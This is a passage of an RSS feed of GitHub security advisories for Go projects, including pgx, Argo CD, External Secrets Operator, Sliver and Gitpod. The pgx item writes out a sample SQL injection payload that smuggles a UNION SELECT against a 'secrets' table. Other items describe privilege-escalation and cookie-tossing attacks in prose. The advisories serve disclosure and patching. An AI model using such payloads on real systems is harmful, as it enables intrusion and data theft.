        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mrww-27vc-gghv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mrww-27vc-gghv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/jackc/pgx/v4] pgx SQL Injection via Line Comment Creation</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur when all of the following conditions are met:&lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;The non-default simple protocol is used.&lt;/li&gt;
        &lt;li&gt;A placeholder for a numeric value must be immediately preceded by a minus.&lt;/li&gt;
        &lt;li&gt;There must be a second placeholder for a string value after the first placeholder; both
        must be on the same line.&lt;/li&gt;
        &lt;li&gt;Both parameter values must be user-controlled.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;e.g. &lt;/p&gt;
        &lt;p&gt;Simple mode must be enabled:&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// connection string includes &quot;prefer_simple_protocol=true&quot;
        // or
        // directly enabled in code
        config.ConnConfig.PreferSimpleProtocol = true
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Parameterized query:&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM example WHERE result=-$1 OR name=$2;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Parameter values:&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;$1&lt;/code&gt; =&amp;gt; &lt;code&gt;-42&lt;/code&gt;
        &lt;code&gt;$2&lt;/code&gt; =&amp;gt; &lt;code&gt;&quot;foo\n 1 AND 1=0 UNION SELECT * FROM secrets; --&quot;&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;Resulting query after preparation:&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM example WHERE result=--42 OR name= &#39;foo
        1 AND 1=0 UNION SELECT * FROM secrets; --&#39;;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v4.18.2.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Do not use the simple protocol or do not place a minus directly before a placeholder.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-m7wr-2xf7-cm9p&quot;&gt;https://github.com/advisories/GHSA-m7wr-2xf7-cm9p&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-m7wr-2xf7-cm9p</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-m7wr-2xf7-cm9p</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/argoproj/argo-cd/v2] Argo CD leaks repository credentials in user-facing error messages and in logs</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All versions of Argo CD starting with v2.6.0-rc1 have an output sanitization bug which leaks repository access credentials in error messages. These error messages are visible to the user, and they are logged. The error message is visible when a user attempts to create or update an Application via the Argo CD API (and therefor the UI or CLI). The user must have &lt;code&gt;applications, create&lt;/code&gt; or &lt;code&gt;applications, update&lt;/code&gt; RBAC access to reach the code which may produce the error.&lt;/p&gt;
        &lt;p&gt;The user is not guaranteed to be able to trigger the error message. They may attempt to spam the API with requests to trigger a rate limit error from the upstream repository. &lt;/p&gt;
        &lt;p&gt;If the user has &lt;code&gt;repositories, update&lt;/code&gt; access, they may edit an existing repository to introduce a URL typo or otherwise force an error message. But if they have that level of access, they are probably intended to have access to the credentials anyway.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;A patch for this vulnerability has been released in the following Argo CD version:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;v2.6.1&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;The only way to completely resolve the issue is to upgrade.&lt;/p&gt;
        &lt;h4 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h4&gt;
        &lt;p&gt;To mitigate the issue, make sure that your repo credentials have only least necessary privileges. For example, the credentials should not have push access, and they should not have access to more resources than what Argo CD actually needs (for example, a whole GitHub org when only one repo is needed).&lt;/p&gt;
        &lt;p&gt;To further mitigate the impact of a leaked write-capable repo credential, you could &lt;a href=&quot;https://argo-cd.readthedocs.io/en/stable/user-guide/gpg-verification/#enforcing-signature-verification&quot;&gt;enable commit signature verification&lt;/a&gt;. Even if someone could push a malicious commit, the commit would not by synced.&lt;/p&gt;
        &lt;p&gt;You should also enforce least privileges in Argo CD RBAC. Make sure users only have &lt;code&gt;repositories, update&lt;/code&gt;, &lt;code&gt;applications, update&lt;/code&gt;, or &lt;code&gt;applications, create&lt;/code&gt; access if they absolutely need it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;The problem was initially reported in a &lt;a href=&quot;https://github.com/argoproj/argo-cd/issues/12309&quot;&gt;GitHub issue&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/&quot;&gt;Argo CD RBAC configuration documentation&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;for-more-information&quot;&gt;For more information&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Open an issue in &lt;a href=&quot;https://github.com/argoproj/argo-cd/issues&quot;&gt;the Argo CD issue tracker&lt;/a&gt; or &lt;a href=&quot;https://github.com/argoproj/argo-cd/discussions&quot;&gt;discussions&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;Join us on &lt;a href=&quot;https://argoproj.github.io/community/join-slack&quot;&gt;Slack&lt;/a&gt; in channel #argo-cd&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/argoproj/argo-cd/security/advisories/GHSA-mv6w-j4xc-qpfw&quot;&gt;https://github.com/argoproj/argo-cd/security/advisories/GHSA-mv6w-j4xc-qpfw&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-25163&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-25163&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/argoproj/argo-cd/issues/12309&quot;&gt;https://github.com/argoproj/argo-cd/issues/12309&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/argoproj/argo-cd/pull/12320&quot;&gt;https://github.com/argoproj/argo-cd/pull/12320&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2023-1548&quot;&gt;https://pkg.go.dev/vuln/GO-2023-1548&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac&quot;&gt;https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mv6w-j4xc-qpfw&quot;&gt;https://github.com/advisories/GHSA-mv6w-j4xc-qpfw&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mv6w-j4xc-qpfw</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mv6w-j4xc-qpfw</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/gouniverse/cms] Gouniverse GoLang CMS vulnerable to Cross-site Scripting</title>
      <description>&lt;p&gt;A vulnerability was found in Gouniverse GoLang CMS 1.4.0. It has been declared as problematic. This vulnerability affects the function PageRenderHtmlByAlias of the file FrontendHandler.go. The manipulation of the argument alias leads to cross site scripting. The attack can be initiated remotely. Upgrading to version 1.4.1 is able to address this issue. The patch is identified as 3e661cdfb4beeb9fe2ad507cdb8104c0b17d072c. It is recommended to upgrade the affected component.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8572&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8572&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/issues/5&quot;&gt;https://github.com/gouniverse/cms/issues/5&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/issues/5#issuecomment-2330848731&quot;&gt;https://github.com/gouniverse/cms/issues/5#issuecomment-2330848731&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/commit/3e661cdfb4beeb9fe2ad507cdb8104c0b17d072c&quot;&gt;https://github.com/gouniverse/cms/commit/3e661cdfb4beeb9fe2ad507cdb8104c0b17d072c&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/releases/tag/v1.4.1&quot;&gt;https://github.com/gouniverse/cms/releases/tag/v1.4.1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?ctiid.276802&quot;&gt;https://vuldb.com/?ctiid.276802&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?id.276802&quot;&gt;https://vuldb.com/?id.276802&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?submit.401896&quot;&gt;https://vuldb.com/?submit.401896&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pv7h-hg6m-82j8&quot;&gt;https://github.com/advisories/GHSA-pv7h-hg6m-82j8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pv7h-hg6m-82j8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pv7h-hg6m-82j8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/external-secrets/external-secrets] External Secrets Operator vulnerable to privilege escalation</title>
      <description>&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;The external-secrets has a deployment called default-external-secrets-cert-controller, which is bound with a same-name ClusterRole. This ClusterRole has &quot;get/list&quot; verbs of secrets resources(&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&lt;/a&gt;). It also has path/update verb of validatingwebhookconfigurations resources(&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&lt;/a&gt;). As a result, if a malicious user can access the worker node which has this deployment. he/she can:&lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;&lt;p&gt;For the &quot;get/list secrets&quot; permission, he/she can abuse the SA token of this deployment to retrieve or get ALL secrets in the whole cluster, including the cluster-admin secret if created. After that, he/she can abuse the cluster-admin secret to do whatever he/she likes to the whole cluster, resulting in a cluster-level privilege escalation.&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;&lt;p&gt;For the patch/update verb of validatingwebhookconfigurations, the malicious user can abuse these permissions to get sensitive data or lanuch DoS attacks:&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;For the privilege escalation attack, by updating/patching a Webhook to make it listen to Secret update operations, the attacker can capture and log all data from requests attempting to update Secrets. More specifically, when a Secret is updated, this Webhook sends the request data to the logging-service, which can then log the content of the Secret. This way, an attacker could indirectly gain access to the full contents of the Secret.&lt;/p&gt;
        &lt;p&gt;For the DoS attack, by updating/patching a Webhook, and making it deny all Pod create and update requests, the attacker can prevent any new Pods from being created or existing Pods from being updated, resulting in a Denial of Service (DoS) attack.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Please see the &quot;Details&quot; section&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Privilege escalation&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/security/advisories/GHSA-qwgc-rr35-h4x9&quot;&gt;https://github.com/external-secrets/external-secrets/security/advisories/GHSA-qwgc-rr35-h4x9&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45041&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45041&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/commit/0368b9806f660fa6bc52cbbf3c6ccdb27c58bb35&quot;&gt;https://github.com/external-secrets/external-secrets/commit/0368b9806f660fa6bc52cbbf3c6ccdb27c58bb35&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/commit/428a452fd2ad45935312f2c2c0d40bc37ce6e67c&quot;&gt;https://github.com/external-secrets/external-secrets/commit/428a452fd2ad45935312f2c2c0d40bc37ce6e67c&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-qwgc-rr35-h4x9&quot;&gt;https://github.com/advisories/GHSA-qwgc-rr35-h4x9&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-qwgc-rr35-h4x9</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-qwgc-rr35-h4x9</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/bishopfox/sliver] Silver vulnerable to MitM attack against implants due to a cryptography vulnerability</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;The current cryptography implementation in Sliver up to version 1.5.39 allows a MitM with access to the corresponding implant binary to execute arbitrary codes on implanted devices via intercepted and crafted responses. (Reserved CVE ID: CVE-2023-34758)&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Please see &lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;the PoC repo&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Please also see &lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;the PoC repo&lt;/a&gt;.
        To setup a simple PoC environment, &lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;Generate an implant with its C2 set to the PoC server&#39;s address and copy the embedded private implant key and public server key into the config json. &lt;/li&gt;
        &lt;li&gt;Run the implant on a separate VM and a &lt;code&gt;notepad.exe&lt;/code&gt; window should pop up on the implanted VM.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A successful attack grants the attacker permission to execute arbitrary code on the implanted device. &lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;https://github.com/tangent65536/Slivjacker&lt;/a&gt; &lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/tangent65536&quot;&gt;Ting-Wei Hsieh&lt;/a&gt; from &lt;a href=&quot;https://www.chtsecurity.com/?lang=en&quot;&gt;CHT Security Co. Ltd.&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q&quot;&gt;https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/commit/2d1ea6192cac2ff9d6450b2d96043fdbf8561516&quot;&gt;https://github.com/BishopFox/sliver/commit/2d1ea6192cac2ff9d6450b2d96043fdbf8561516&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/releases/tag/v1.5.40&quot;&gt;https://github.com/BishopFox/sliver/releases/tag/v1.5.40&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;https://github.com/tangent65536/Slivjacker&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-35170&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-35170&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-34758&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-34758&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.chtsecurity.com/news/04f41dcc-1851-463c-93bc-551323ad8091&quot;&gt;https://www.chtsecurity.com/news/04f41dcc-1851-463c-93bc-551323ad8091&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2023-1866&quot;&gt;https://pkg.go.dev/vuln/GO-2023-1866&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8jxm-xp43-qh3q&quot;&gt;https://github.com/advisories/GHSA-8jxm-xp43-qh3q&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8jxm-xp43-qh3q</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8jxm-xp43-qh3q</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/osrg/gobgp/v3] Buffer Overflow vulnerability in osrg gobgp</title>
      <description>&lt;p&gt;Buffer Overflow vulnerability in osrg gobgp commit 419c50dfac578daa4d11256904d0dc182f1a9b22 allows a remote attacker to cause a denial of service via the handlingError function in pkg/server/fsm.go.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-46565&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-46565&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/osrg/gobgp/issues/2725&quot;&gt;https://github.com/osrg/gobgp/issues/2725&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/osrg/gobgp/commit/419c50dfac578daa4d11256904d0dc182f1a9b22&quot;&gt;https://github.com/osrg/gobgp/commit/419c50dfac578daa4d11256904d0dc182f1a9b22&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6rqv-5cg7-m4x3&quot;&gt;https://github.com/advisories/GHSA-6rqv-5cg7-m4x3&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6rqv-5cg7-m4x3</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6rqv-5cg7-m4x3</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/gitpod-io/gitpod] github.com/gitpod-io/gitpod vulnerable to Cookie Tossing</title>
      <description>&lt;p&gt;Versions of the package github.com/gitpod-io/gitpod/components/server/go/pkg/lib before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/components/ws-proxy/pkg/proxy before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/install/installer/pkg/components/auth before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/install/installer/pkg/components/public-api-server before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/install/installer/pkg/components/server before main-gha.27122; versions of the package @gitpod/gitpod-protocol before 0.1.5-main-gha.27122 are vulnerable to Cookie Tossing due to a missing __Host- prefix on the &lt;em&gt;gitpod_io_jwt2&lt;/em&gt; session cookie. This allows an adversary who controls a subdomain to set the value of the cookie on the Gitpod control plane, which can be assigned to an attacker’s own JWT so that specific actions taken by the victim (such as connecting a new Github organization) are actioned by the attackers session.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-21583&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-21583&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gitpod-io/gitpod/pull/19973&quot;&gt;https://github.com/gitpod-io/gitpod/pull/19973&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gitpod-io/gitpod/commit/da1053e1013f27a56e6d3533aa251dbd241d0155&quot;&gt;https://github.com/gitpod-io/gitpod/commit/da1053e1013f27a56e6d3533aa251dbd241d0155&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://app.safebase.io/portal/71ccd717-aa2d-4a1e-942e-c768d37e9e0c/preview?product=%5B%E2%80%A6%5D942e-c768d37e9e0c&amp;amp;tcuUid=1d505bda-9a38-4ca5-8724-052e6337f34d&quot;&gt;https://app.safebase.io/portal/71ccd717-aa2d-4a1e-942e-c768d37e9e0c/preview?product=%5B%E2%80%A6%5D942e-c768d37e9e0c&amp;amp;tcuUid=1d505bda-9a38-4ca5-8724-052e6337f34d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSSERVERGOPKGLIB-7452074&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSSERVERGOPKGLIB-7452074&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSWSPROXYPKGPROXY-7452075&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSWSPROXYPKGPROXY-7452075&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSAUTH-7452076&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSAUTH-7452076&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSPUBLICAPISERVER-7452077&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSPUBLICAPISERVER-7452077&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSSERVER-7452078&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSSERVER-7452078&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-JS-GITPODGITPODPROTOCOL-7452079&quot;&gt;https://security.snyk.io/vuln/SNYK-JS-GITPODGITPODPROTOCOL-7452079&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2024-2997&quot;&gt;https://pkg.go.dev/vuln/GO-2024-2997&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8pgc-65mj-53h5&quot;&gt;https://github.com/advisories/GHSA-8pgc-65mj-53h5&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8pgc-65mj-53h5</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8pgc-65mj-53h5</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/windmill-labs/windmill] Windmill HTTP Request users.rs excessive authentication in github.com/windmill-labs/windmill</title>
      <description>&lt;p&gt;A vulnerability was found in Windmill 1.380.0. It has been classified as problematic. Affected is an unknown function of the file backend/windmill-api/src/users.rs of the component HTTP Request Handler. The manipulation leads to improper restriction of excessive authentication attempts. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. Upgrading to version 1.390.1 is able to address this issue. The patch is identified as acfe7786152f036f2476f93ab5536571514fa9e3. It is recommended to upgrade the affected component.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8462&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8462&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/windmill-labs/windmill/commit/acfe7786152f036f2476f93ab5536571514fa9e3&quot;&gt;https://github.com/windmill-labs/windmill/commit/acfe7786152f036f2476f93ab5536571514fa9e3&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/windmill-labs/windmill/releases/tag/v1.390.1&quot;&gt;https://github.com/windmill-labs/windmill/releases/tag/v1.390.1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?ctiid.276630&quot;&gt;https://vuldb.com/?ctiid.276630&lt;/a&gt;&lt;/li&gt;
